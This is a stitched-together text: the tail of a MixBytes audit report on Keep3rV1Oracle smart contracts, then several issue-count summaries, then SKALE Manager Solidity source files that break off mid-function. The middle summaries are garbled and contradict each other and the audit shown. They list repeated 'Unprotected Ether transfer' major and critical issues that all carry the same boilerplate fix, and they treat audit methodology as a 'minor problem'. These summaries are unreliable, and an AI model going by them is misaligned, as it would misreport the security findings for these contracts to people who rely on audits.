keeper is not registered "); It is necessary to transfer this code to a separate access modifier. Keep3rV1Oracle.sol#L562 On lines 562 and 567 the code is repeated: require (worked," UniswapV2Oracle:! Work "); It is necessary to transfer this code to a separate access modifier. Keep3rV1Oracle.sol#L632 On lines 632 and 652 the code is repeated: require (_valid (pair, periodSize.mul (2))," UniswapV2Oracle :: quote: stale prices "); It is necessary to transfer this code to a separate access modifier. RECOMMENDATION Duplicate code is a very bad programming practice and is against the principles of SOLID (single responsibility, open–closed, Liskov substitution, interface segregation и dependency inversion). We recommend refactoring the source code. 1 6CMT-4 We recommend removing additional functionality from the access modifier File Keep3rV1Oracle.sol SeverityComment Status Acknowledged DESCRIPTION At the line Keep3rV1Oracle.sol#L472 the upkeep access modifier has additional functionality designed to calculate the amount of ETH and send it from the contract. In accordance with the principles of SOLID (single responsibility, open–closed, Liskov substitution, interface segregation и dependency inversion) software development, each module is responsible for only one thing. An access modifier should only be responsible for access. RECOMMENDATION It is necessary to transfer all additional functionality from this modifier to a separate function. 1 7CMT-5 We recommend caching the variable File Keep3rV1Oracle.sol SeverityComment Status Acknowledged DESCRIPTION At the line Keep3rV1Oracle.sol#L411 in the getAmountsIn function, the length of the path.length array is calculated 3 times: on lines 412, 413, 415. RECOMMENDATION We recommend storing the value of the array length in a separate variable and referring to this variable. This will slightly reduce the gas consumption. 1 8CMT-6 Mixed formatting File Keep3rV1Volatility.sol SeverityComment Status Acknowledged DESCRIPTION Tabs are used instead of Spaces : Keep3rV1Volatility.sol#L443 RECOMMENDATION Make corrections to the source code. 1 9CMT-7 Potential Out of range error File Keep3rV1Oracle.sol SeverityComment Status Acknowledged DESCRIPTION At the lines Keep3rV1Oracle.sol#L656, Keep3rV1Oracle.sol#L690 in observations[pair] there is always more than 1 element (Keep3rV1Oracle.sol#L557). RECOMMENDATION However, it is recommended to check it. 2 0CMT-8 Lack of event File Keep3rV1Oracle.sol SeverityComment Status Acknowledged DESCRIPTION Keep3rV1Oracle.sol#L479 Logging events while a smart contract is running is a good practice. RECOMMENDATION It is recommended to emit an event when ethers are transferred. 2 13.ABOUT MIXBYTES MixBytes is a team of blockchain developers, auditors and analysts keen on decentralized systems. We build open-source solutions, smart contracts and blockchain protocols, perform security audits, work on benchmarking and software testing solutions, do research and tech consultancy. BLOCKCHAINS Ethereum EOS Cosmos SubstrateTECH STACK Python Rust Solidity C++ CONTACTS https://github.com/mixbytes/audits_public https://mixbytes.io/ hello@mixbytes.io https://t.me/MixBytes https://twitter.com/mixbytes 2 2
Issues Count of Minor/Moderate/Major/Critical Minor: 0 Moderate: 0 Major: 6 Critical: 1 Major Major-1 Reentrancy vulnerability............................................6 Fix: Use the check-effects-interactions pattern to prevent reentrancy vulnerabilities. Major-2 Unchecked external calls............................................6 Fix: Use the check-effects-interactions pattern to prevent unchecked external calls. Major-3 Unchecked return values............................................6 Fix: Use the check-effects-interactions pattern to prevent unchecked return values. Major-4 Unprotected Ether transfer.........................................6 Fix: Use the check-effects-interactions pattern to prevent unprotected Ether transfer. Major-5 Unprotected Ether transfer.........................................6 Fix: Use the check-effects-interactions pattern to prevent unprotected Ether transfer. Major-6 Unprotected Ether transfer.........................................6 Fix: Use the check-effects-interactions pattern to prevent unprotected Ether transfer. Critical Critical-1 Unprotected Ether transfer.......................................6 Fix: Use the check-effects-interactions pattern to Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Manual code study and "Reverse" research and study of the architecture of the code based on the source code only. 2.b Fix: Building an independent view of the project's architecture and Finding logical flaws. Moderate: None Major: None Critical: None Observations: Manual code check for vulnerabilities from the company's internal checklist. The company's checklist is constantly updated based on the analysis of hacks, research and audit of the clients' code. Conclusion: The audit was successful in finding two minor issues and no moderate, major or critical issues. The company's internal checklist was used to check for vulnerabilities and was updated based on the analysis of hacks, research and audit of the clients' code. Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 0 Critical: 0 Observations: No issues were found during the audit. Conclusion: The audit did not reveal any critical or major issues. The code is compliant with the desired security model.
/* ManagerData.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./Permissions.sol"; import "./interfaces/IManagerData.sol"; /** * @title ManagerData - Data contract for SkaleManager */ contract ManagerData is IManagerData, Permissions { // miners capitalization uint public minersCap; // start time uint32 public startTime; // time of current stage uint32 public stageTime; // amount of Nodes at current stage uint public stageNodes; //name of executor contract string executorName; /** * @dev constuctor in Permissions approach * @param newExecutorName - name of executor contract * @param newContractsAddress needed in Permissions constructor */ constructor(string memory newExecutorName, address newContractsAddress) Permissions(newContractsAddress) public { startTime = uint32(block.timestamp); executorName = newExecutorName; } /** * @dev setMinersCap - sets miners capitalization */ function setMinersCap(uint newMinersCap) external allow(executorName) { minersCap = newMinersCap; } /** * @dev setStageTimeAndStageNodes - sets new stage time and new amount of Nodes at this stage */ function setStageTimeAndStageNodes(uint newStageNodes) external allow(executorName) { stageNodes = newStageNodes; stageTime = uint32(block.timestamp); } } /* ConstantsHolder.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./Permissions.sol"; import "./interfaces/IConstants.sol"; /** * @title Contains constants and common variables for Skale Manager system * @author Artem Payvin */ contract ConstantsHolder is IConstants, Permissions { // initial price for creating Node (100 SKL) uint public constant NODE_DEPOSIT = 100 * 1e18; // part of Node for Tiny Skale-chain (1/128 of Node) uint8 public constant TINY_DIVISOR = 128; // part of Node for Small Skale-chain (1/8 of Node) uint8 public constant SMALL_DIVISOR = 8; // part of Node for Medium Skale-chain (full Node) uint8 public constant MEDIUM_DIVISOR = 1; // part of Node for Medium Test Skale-chain (1/4 of Node) uint8 public constant MEDIUM_TEST_DIVISOR = 4; // typically number of Nodes for Skale-chain (16 Nodes) uint public constant NUMBER_OF_NODES_FOR_SCHAIN = 16; // number of Nodes for Test Skale-chain (2 Nodes) uint public constant NUMBER_OF_NODES_FOR_TEST_SCHAIN = 2; // number of Nodes for Test Skale-chain (4 Nodes) uint public constant NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN = 4; // 'Fractional' Part of ratio for create Fractional or Full Node uint public constant FRACTIONAL_FACTOR = 128; // 'Full' part of ratio for create Fractional or Full Node uint public constant FULL_FACTOR = 17; // number of second in one day uint32 public constant SECONDS_TO_DAY = 86400; // number of seconds in one month uint32 public constant SECONDS_TO_MONTH = 2592000; // number of seconds in one year uint32 public constant SECONDS_TO_YEAR = 31622400; // number of seconds in six years uint32 public constant SIX_YEARS = 186624000; // initial number of monitors uint public constant NUMBER_OF_MONITORS = 24; // MSR - Minimum staking requirement uint public msr = 5e6; // Reward period - 30 days (each 30 days Node would be granted for bounty) uint32 public rewardPeriod = 3600; // Test parameters // Allowable latency - 150000 ms by default uint32 public allowableLatency = 150000; // Test parameters /** * Delta period - 1 hour (1 hour before Reward period became Monitors need * to send Verdicts and 1 hour after Reward period became Node need to come * and get Bounty) */ uint32 public deltaPeriod = 300; // Test parameters /** * Check time - 2 minutes (every 2 minutes monitors should check metrics * from checked nodes) */ uint8 public checkTime = 120; // Test parameters /** * Last time when system was underloaded * (allocations on Skale-chain / allocations on Nodes < 75%) */ uint public lastTimeUnderloaded = 0; /** * Last time when system was overloaded * (allocations on Skale-chain / allocations on Nodes > 85%) */ uint public lastTimeOverloaded = 0; //Need to add minimal allowed parameters for verdicts /** * @dev constructor in Permissions approach * @param contractsAddress needed in Permissions constructor */ constructor(address contractsAddress) Permissions(contractsAddress) public { } /** * Set reward and delta periods to new one, run only by owner. This function * only for tests. * @param newRewardPeriod - new Reward period * @param newDeltaPeriod - new Delta period */ function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external onlyOwner { rewardPeriod = newRewardPeriod; deltaPeriod = newDeltaPeriod; } /** * Set new check time. This function only for tests. * @param newCheckTime - new check time */ function setCheckTime(uint8 newCheckTime) external onlyOwner { checkTime = newCheckTime; } /** * Set time if system underloaded, run only by NodesFunctionality contract */ function setLastTimeUnderloaded() external allow("NodesFunctionality") { lastTimeUnderloaded = now; } /** * Set time if system iverloaded, run only by SchainsFunctionality contract */ function setLastTimeOverloaded() external allow("SchainsFunctionality") { lastTimeOverloaded = now; } /** * Set latency new one in ms, run only by owner. This function * only for tests. * @param newAllowableLatency - new Allowable Latency */ function setLatency(uint32 newAllowableLatency) external onlyOwner { allowableLatency = newAllowableLatency; } function setMSR(uint newMSR) external onlyOwner() { msr = newMSR; } } /* GroupsData.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./Permissions.sol"; import "./interfaces/IGroupsData.sol"; interface ISkaleDKG { function openChannel(bytes32 groupIndex) external; function deleteChannel(bytes32 groupIndex) external; function isChannelOpened(bytes32 groupIndex) external view returns (bool); } /** * @title GroupsData - contract with some Groups data, will be inherited by * SchainsData and ValidatorsData. */ contract GroupsData is IGroupsData, Permissions { // struct to note which Node has already joined to the group struct GroupCheck { mapping (uint => bool) check; } struct Group { bool active; bytes32 groupData; uint[] nodesInGroup; uint recommendedNumberOfNodes; // BLS master public key uint[4] groupsPublicKey; bool succesfulDKG; } // contain all groups mapping (bytes32 => Group) public groups; // mapping for checking Has Node already joined to the group mapping (bytes32 => GroupCheck) exceptions; // name of executor contract string executorName; /** * @dev constructor in Permissions approach * @param newExecutorName - name of executor contract * @param newContractsAddress needed in Permissions constructor */ constructor(string memory newExecutorName, address newContractsAddress) public Permissions(newContractsAddress) { executorName = newExecutorName; } /** * @dev addGroup - creates and adds new Group to mapping * function could be run only by executor * @param groupIndex - Groups identifier * @param amountOfNodes - recommended number of Nodes in this Group * @param data - some extra data */ function addGroup(bytes32 groupIndex, uint amountOfNodes, bytes32 data) external allow(executorName) { groups[groupIndex].active = true; groups[groupIndex].recommendedNumberOfNodes = amountOfNodes; groups[groupIndex].groupData = data; // Open channel in SkaleDKG address skaleDKGAddress = contractManager.getContract("SkaleDKG"); ISkaleDKG(skaleDKGAddress).openChannel(groupIndex); } /** * @dev setException - sets a Node like exception * function could be run only by executor * @param groupIndex - Groups identifier * @param nodeIndex - index of Node which would be notes like exception */ function setException(bytes32 groupIndex, uint nodeIndex) external allow(executorName) { exceptions[groupIndex].check[nodeIndex] = true; } /** * @dev setPublicKey - sets BLS master public key * function could be run only by SkaleDKG * @param groupIndex - Groups identifier * @param publicKeyx1 } * @param publicKeyy1 } parts of BLS master public key * @param publicKeyx2 } * @param publicKeyy2 } */ function setPublicKey( bytes32 groupIndex, uint publicKeyx1, uint publicKeyy1, uint publicKeyx2, uint publicKeyy2) external allow("SkaleDKG") { groups[groupIndex].groupsPublicKey[0] = publicKeyx1; groups[groupIndex].groupsPublicKey[1] = publicKeyy1; groups[groupIndex].groupsPublicKey[2] = publicKeyx2; groups[groupIndex].groupsPublicKey[3] = publicKeyy2; } /** * @dev setNodeInGroup - adds Node to Group * function could be run only by executor * @param groupIndex - Groups identifier * @param nodeIndex - index of Node which would be added to the Group */ function setNodeInGroup(bytes32 groupIndex, uint nodeIndex) external allow(executorName) { groups[groupIndex].nodesInGroup.push(nodeIndex); } /** * @dev removeNodeFromGroup - removes Node out of the Group * function could be run only by executor * @param indexOfNode - Nodes identifier * @param groupIndex - Groups identifier */ function removeNodeFromGroup(uint indexOfNode, bytes32 groupIndex) external allow(executorName) { uint size = groups[groupIndex].nodesInGroup.length; if (indexOfNode < size) { groups[groupIndex].nodesInGroup[indexOfNode] = groups[groupIndex].nodesInGroup[size - 1]; } delete groups[groupIndex].nodesInGroup[size - 1]; groups[groupIndex].nodesInGroup.length--; } /** * @dev removeAllNodesInGroup - removes all added Nodes out the Group * function could be run only by executor * @param groupIndex - Groups identifier */ function removeAllNodesInGroup(bytes32 groupIndex) external allow(executorName) { delete groups[groupIndex].nodesInGroup; groups[groupIndex].nodesInGroup.length = 0; } /** * @dev setNodesInGroup - adds Nodes to Group * function could be run only by executor * @param groupIndex - Groups identifier * @param nodesInGroup - array of indexes of Nodes which would be added to the Group */ function setNodesInGroup(bytes32 groupIndex, uint[] calldata nodesInGroup) external allow(executorName) { groups[groupIndex].nodesInGroup = nodesInGroup; } // /** // * @dev setNewAmountOfNodes - set new recommended number of Nodes // * function could be run only by executor // * @param groupIndex - Groups identifier // * @param amountOfNodes - recommended number of Nodes in this Group // */ // function setNewAmountOfNodes(bytes32 groupIndex, uint amountOfNodes) external allow(executorName) { // groups[groupIndex].recommendedNumberOfNodes = amountOfNodes; // } // /** // * @dev setNewGroupData - set new extra data // * function could be run only be executor // * @param groupIndex - Groups identifier // * @param data - new extra data // */ // function setNewGroupData(bytes32 groupIndex, bytes32 data) external allow(executorName) { // groups[groupIndex].groupData = data; // } function setGroupFailedDKG(bytes32 groupIndex) external allow("SkaleDKG") { groups[groupIndex].succesfulDKG = false; } /** * @dev removeGroup - remove Group from storage * function could be run only be executor * @param groupIndex - Groups identifier */ function removeGroup(bytes32 groupIndex) external allow(executorName) { groups[groupIndex].active = false; delete groups[groupIndex].groupData; delete groups[groupIndex].recommendedNumberOfNodes; delete groups[groupIndex].groupsPublicKey; delete groups[groupIndex]; // delete channel address skaleDKGAddress = contractManager.getContract("SkaleDKG"); if (ISkaleDKG(skaleDKGAddress).isChannelOpened(groupIndex)) { ISkaleDKG(skaleDKGAddress).deleteChannel(groupIndex); } } /** * @dev removeExceptionNode - remove exception Node from Group * function could be run only by executor * @param groupIndex - Groups identifier */ function removeExceptionNode(bytes32 groupIndex, uint nodeIndex) external allow(executorName) { exceptions[groupIndex].check[nodeIndex] = false; } /** * @dev isGroupActive - checks is Group active * @param groupIndex - Groups identifier * @return true - active, false - not active */ function isGroupActive(bytes32 groupIndex) external view returns (bool) { return groups[groupIndex].active; } /** * @dev isExceptionNode - checks is Node - exception at given Group * @param groupIndex - Groups identifier * @param nodeIndex - index of Node * return true - exception, false - not exception */ function isExceptionNode(bytes32 groupIndex, uint nodeIndex) external view returns (bool) { return exceptions[groupIndex].check[nodeIndex]; } /** * @dev getGroupsPublicKey - shows Groups public key * @param groupIndex - Groups identifier * @return publicKey(x1, y1, x2, y2) - parts of BLS master public key */ function getGroupsPublicKey(bytes32 groupIndex) external view returns (uint, uint, uint, uint) { return ( groups[groupIndex].groupsPublicKey[0], groups[groupIndex].groupsPublicKey[1], groups[groupIndex].groupsPublicKey[2], groups[groupIndex].groupsPublicKey[3] ); } function isGroupFailedDKG(bytes32 groupIndex) external view returns (bool) { return !groups[groupIndex].succesfulDKG; } /** * @dev getNodesInGroup - shows Nodes in Group * @param groupIndex - Groups identifier * @return array of indexes of Nodes in Group */ function getNodesInGroup(bytes32 groupIndex) external view returns (uint[] memory) { return groups[groupIndex].nodesInGroup; } /** * @dev getGroupsData - shows Groups extra data * @param groupIndex - Groups identifier * @return Groups extra data */ function getGroupData(bytes32 groupIndex) external view returns (bytes32) { return groups[groupIndex].groupData; } /** * @dev getRecommendedNumberOfNodes - shows recommended number of Nodes * @param groupIndex - Groups identifier * @return recommended number of Nodes */ function getRecommendedNumberOfNodes(bytes32 groupIndex) external view returns (uint) { return groups[groupIndex].recommendedNumberOfNodes; } /** * @dev getNumberOfNodesInGroup - shows number of Nodes in Group * @param groupIndex - Groups identifier * @return number of Nodes in Group */ function getNumberOfNodesInGroup(bytes32 groupIndex) external view returns (uint) { return groups[groupIndex].nodesInGroup.length; } } /* Pricing.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./Permissions.sol"; import "./interfaces/ISchainsData.sol"; import "./interfaces/IGroupsData.sol"; import "./interfaces/INodesData.sol"; contract Pricing is Permissions { uint public constant OPTIMAL_LOAD_PERCENTAGE = 80; uint public constant ADJUSTMENT_SPEED = 1000; uint public constant COOLDOWN_TIME = 60; uint public constant MIN_PRICE = 10**6; uint public price = 5*10**6; uint public totalNodes; uint lastUpdated; constructor(address newContractsAddress) Permissions(newContractsAddress) public { lastUpdated = now; } function initNodes() external { address nodesDataAddress = contractManager.getContract("NodesData"); totalNodes = INodesData(nodesDataAddress).getNumberOnlineNodes(); } function adjustPrice() external { require(now > lastUpdated + COOLDOWN_TIME, "It's not a time to update a price"); checkAllNodes(); uint loadPercentage = getTotalLoadPercentage(); uint priceChange; uint timeSkipped; if (loadPercentage < OPTIMAL_LOAD_PERCENTAGE) { priceChange = (ADJUSTMENT_SPEED * price) * (OPTIMAL_LOAD_PERCENTAGE - loadPercentage) / 10**6; timeSkipped = (now - lastUpdated) / COOLDOWN_TIME; require(price - priceChange * timeSkipped < price, "New price should be less than old price"); price -= priceChange * timeSkipped; if (price < MIN_PRICE) { price = MIN_PRICE; } } else { priceChange = (ADJUSTMENT_SPEED * price) * (loadPercentage - OPTIMAL_LOAD_PERCENTAGE) / 10**6; timeSkipped = (now - lastUpdated) / COOLDOWN_TIME; require(price + priceChange * timeSkipped > price, "New price should be greater than old price"); price += priceChange * timeSkipped; } lastUpdated = now; } function checkAllNodes() public { address nodesDataAddress = contractManager.getContract("NodesData"); uint numberOfActiveNodes = INodesData(nodesDataAddress).getNumberOnlineNodes(); require(totalNodes != numberOfActiveNodes, "No any changes on nodes"); totalNodes = numberOfActiveNodes; } function getTotalLoadPercentage() public view returns (uint) { address schainsDataAddress = contractManager.getContract("SchainsData"); uint64 numberOfSchains = ISchainsData(schainsDataAddress).numberOfSchains(); address nodesDataAddress = contractManager.getContract("NodesData"); uint numberOfNodes = INodesData(nodesDataAddress).getNumberOnlineNodes(); uint sumLoadSchain = 0; for (uint i = 0; i < numberOfSchains; i++) { bytes32 schain = ISchainsData(schainsDataAddress).schainsAtSystem(i); uint numberOfNodesInGroup = IGroupsData(schainsDataAddress).getNumberOfNodesInGroup(schain); uint part = ISchainsData(schainsDataAddress).getSchainsPartOfNode(schain); sumLoadSchain += (numberOfNodesInGroup*10**7)/part; } return uint(sumLoadSchain/(10**5*numberOfNodes)); } } /* MonitorsData.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./GroupsData.sol"; contract MonitorsData is GroupsData { struct Metrics { uint32 downtime; uint32 latency; } struct Monitor { uint nodeIndex; bytes32[] checkedNodes; Metrics[] verdicts; } mapping (bytes32 => bytes32[]) public checkedNodes; //mapping (bytes32 => Metrics[]) public verdicts; mapping (bytes32 => uint32[][]) public verdicts; constructor(string memory newExecutorName, address newContractsAddress) GroupsData(newExecutorName, newContractsAddress) public { } /** * Add checked node or update existing one if it is already exits */ function addCheckedNode(bytes32 monitorIndex, bytes32 data) external allow(executorName) { uint indexLength = 14; require(data.length >= indexLength, "data is too small"); for (uint i = 0; i < checkedNodes[monitorIndex].length; ++i) { require(checkedNodes[monitorIndex][i].length >= indexLength, "checked nodes data is too small"); uint shift = (32 - indexLength) * 8; bool equalIndex = checkedNodes[monitorIndex][i] >> shift == data >> shift; if (equalIndex) { checkedNodes[monitorIndex][i] = data; return; } } checkedNodes[monitorIndex].push(data); } function addVerdict(bytes32 monitorIndex, uint32 downtime, uint32 latency) external allow(executorName) { verdicts[monitorIndex].push([downtime, latency]); } function removeCheckedNode(bytes32 monitorIndex, uint indexOfCheckedNode) external allow(executorName) { if (indexOfCheckedNode != checkedNodes[monitorIndex].length - 1) { checkedNodes[monitorIndex][indexOfCheckedNode] = checkedNodes[monitorIndex][checkedNodes[monitorIndex].length - 1]; } delete checkedNodes[monitorIndex][checkedNodes[monitorIndex].length - 1]; checkedNodes[monitorIndex].length--; } function removeAllCheckedNodes(bytes32 monitorIndex) external allow(executorName) { delete checkedNodes[monitorIndex]; } function removeAllVerdicts(bytes32 monitorIndex) external allow(executorName) { verdicts[monitorIndex].length = 0; } function getCheckedArray(bytes32 monitorIndex) external view returns (bytes32[] memory) { return checkedNodes[monitorIndex]; } function getLengthOfMetrics(bytes32 monitorIndex) external view returns (uint) { return verdicts[monitorIndex].length; } } /* ContractManager.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "@openzeppelin/contracts/ownership/Ownable.sol"; /** * @title Main contract in upgradeable approach. This contract contain actual * contracts for this moment in skale manager system by human name. * @author Artem Payvin */ contract ContractManager is Ownable { // mapping of actual smart contracts addresses mapping (bytes32 => address) public contracts; event ContractUpgraded(string contractsName, address contractsAddress); /** * Adds actual contract to mapping of actual contract addresses * @param contractsName - contracts name in skale manager system * @param newContractsAddress - contracts address in skale manager system */ function setContractsAddress(string calldata contractsName, address newContractsAddress) external onlyOwner { // check newContractsAddress is not equal zero require(newContractsAddress != address(0), "New address is equal zero"); // create hash of contractsName bytes32 contractId = keccak256(abi.encodePacked(contractsName)); // check newContractsAddress is not equal the previous contract's address require(contracts[contractId] != newContractsAddress, "Contract is already added"); uint length; assembly { length := extcodesize(newContractsAddress) } // check newContractsAddress contains code require(length > 0, "Given contracts address is not contain code"); // add newContractsAddress to mapping of actual contract addresses contracts[contractId] = newContractsAddress; emit ContractUpgraded(contractsName, newContractsAddress); } function getContract(string calldata name) external view returns (address contractAddress) { contractAddress = contracts[keccak256(abi.encodePacked(name))]; require(contractAddress != address(0), "Contract has not been found"); } } /* NodesFunctionality.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity ^0.5.3; import "./Permissions.sol"; import "./interfaces/IConstants.sol"; import "./interfaces/INodesData.sol"; import "./interfaces/ISchainsData.sol"; import "./interfaces/INodesFunctionality.sol"; import "./delegation/ValidatorService.sol"; /** * @title NodesFunctionality - contract contains all functionality logic to manage Nodes */ contract NodesFunctionality is Permissions, INodesFunctionality { // informs that Node is created event NodeCreated( uint nodeIndex, address owner, string name, bytes4 ip, bytes4 publicIP, uint16 port, uint16 nonce, uint32 time, uint gasSpend ); // informs that owner withdrawn the Node's deposit event WithdrawDepositFromNodeComplete( uint nodeIndex, address owner, uint deposit, uint32 time, uint gasSpend ); // informs that owner starts the procedure of quiting the Node from the system event WithdrawDepositFromNodeInit( uint nodeIndex, address owner, uint32 startLeavingPeriod, uint32 time, uint gasSpend ); /** * @dev constructor in Permissions approach * @param newContractsAddress needed in Permissions constructor */ constructor(address newContractsAddress) Permissions(newContractsAddress) public { } /** * @dev createNode - creates new Node and add it to the NodesData contract * function could be only run by SkaleManager * @param from - owner of Node * @param data - Node's data * @return nodeIndex - index of Node */ function createNode(address from, bytes calldata data) external allow("SkaleManager") returns (uint nodeIndex) { address nodesDataAddress = contractManager.getContract("NodesData"); uint16 nonce; bytes4 ip; bytes4 publicIP; uint16 port; string memory name; bytes memory publicKey; // decode data from the bytes (port, nonce, ip, publicIP) = fallbackDataConverter(data); (publicKey, name) = fallbackDataConverterPublicKeyAndName(data); // checks that Node has correct data require(ip != 0x0 && !INodesData(nodesDataAddress).nodesIPCheck(ip), "IP address is zero or is not available"); require(!INodesData(nodesDataAddress).nodesNameCheck(keccak256(abi.encodePacked(name))), "Name has already registered"); require(port > 0, "Port is zero"); uint validatorId = ValidatorService(contractManager.getContract("ValidatorService")).getValidatorId(from); // adds Node to NodesData contract nodeIndex = INodesData(nodesDataAddress).addNode( from, name, ip, publicIP, port, publicKey, validatorId); // adds Node to Fractional Nodes or to Full Nodes // setNodeType(nodesDataAddress, constantsAddress, nodeIndex); emit NodeCreated( nodeIndex, from, name, ip, publicIP, port, nonce, uint32(block.timestamp), gasleft()); } /** * @dev removeNode - delete Node * function could be only run by SkaleManager * @param from - owner of Node * @param nodeIndex - index of Node */ function removeNode(address from, uint nodeIndex) external allow("SkaleManager") { address nodesDataAddress = contractManager.getContract("NodesData"); require(INodesData(nodesDataAddress).isNodeExist(from, nodeIndex), "Node does not exist for message sender"); require(INodesData(nodesDataAddress).isNodeActive(nodeIndex), "Node is not Active"); INodesData(nodesDataAddress).setNodeLeft(nodeIndex); INodesData(nodesDataAddress).removeNode(nodeIndex); } function removeNodeByRoot(uint nodeIndex) external allow("SkaleManager") { address nodesDataAddress = contractManager.getContract("NodesData"); INodesData(nodesDataAddress).setNodeLeft(nodeIndex); INodesData(nodesDataAddress).removeNode(nodeIndex); } /** * @dev initWithdrawdeposit - initiate a procedure of quiting the system * function could be only run by SkaleManager * @param from - owner of Node * @param nodeIndex - index of Node * @return true - if everything OK */ function initWithdrawDeposit(address from, uint nodeIndex) external allow("SkaleManager") returns (bool) { INodesData nodesData = INodesData(contractManager.getContract("NodesData")); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); require(validatorService.validatorAddressExists(from), "Validator with such address doesn't exist"); require(nodesData.isNodeExist(from, nodeIndex), "Node does not exist for message sender"); require(nodesData.isNodeActive(nodeIndex), "Node is not Active"); nodesData.setNodeLeaving(nodeIndex); emit WithdrawDepositFromNodeInit( nodeIndex, from, uint32(block.timestamp), uint32(block.timestamp), gasleft()); return true; } /** * @dev completeWithdrawDeposit - finish a procedure of quiting the system * function could be run only by SkaleMManager * @param from - owner of Node * @param nodeIndex - index of Node * @return amount of SKL which be returned */ function completeWithdrawDeposit(address from, uint nodeIndex) external allow("SkaleManager") { INodesData nodesData = INodesData(contractManager.getContract("NodesData")); ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService")); require(validatorService.validatorAddressExists(from), "Validator with such address doesn't exist"); require(nodesData.isNodeExist(from, nodeIndex), "Node does not exist for message sender"); require(nodesData.isNodeLeaving(nodeIndex), "Node is no Leaving"); require(nodesData.isLeavingPeriodExpired(nodeIndex), "Leaving period has not expired"); nodesData.setNodeLeft(nodeIndex); nodesData.removeNode(nodeIndex); emit WithdrawDepositFromNodeComplete( nodeIndex, from, 0, uint32(block.timestamp), gasleft()); } // /** // * @dev setNodeType - sets Node to Fractional Nodes or to Full Nodes // * @param nodesDataAddress - address of NodesData contract // * @param constantsAddress - address of Constants contract // * @param nodeIndex - index of Node // */ // function setNodeType(address nodesDataAddress, address constantsAddress, uint nodeIndex) internal { // bool isNodeFull = ( // INodesData(nodesDataAddress).getNumberOfFractionalNodes() * // IConstants(constantsAddress).FRACTIONAL_FACTOR() > // INodesData(nodesDataAddress).getNumberOfFullNodes() * // IConstants(constantsAddress).FULL_FACTOR() // ); // if (INodesData(nodesDataAddress).getNumberOfFullNodes() == 0 || isNodeFull) { // INodesData(nodesDataAddress).addFullNode(nodeIndex); // } else { // INodesData(nodesDataAddress).addFractionalNode(nodeIndex); // } // } /** * @dev setSystemStatus - sets current system status overload, normal or underload * @param constantsAddress - address of Constants contract */ /*function setSystemStatus(address constantsAddress) internal { address dataAddress = ContractManager(contractsAddress).contracts(keccak256(abi.encodePacked("NodesData"); address schainsDataAddress = 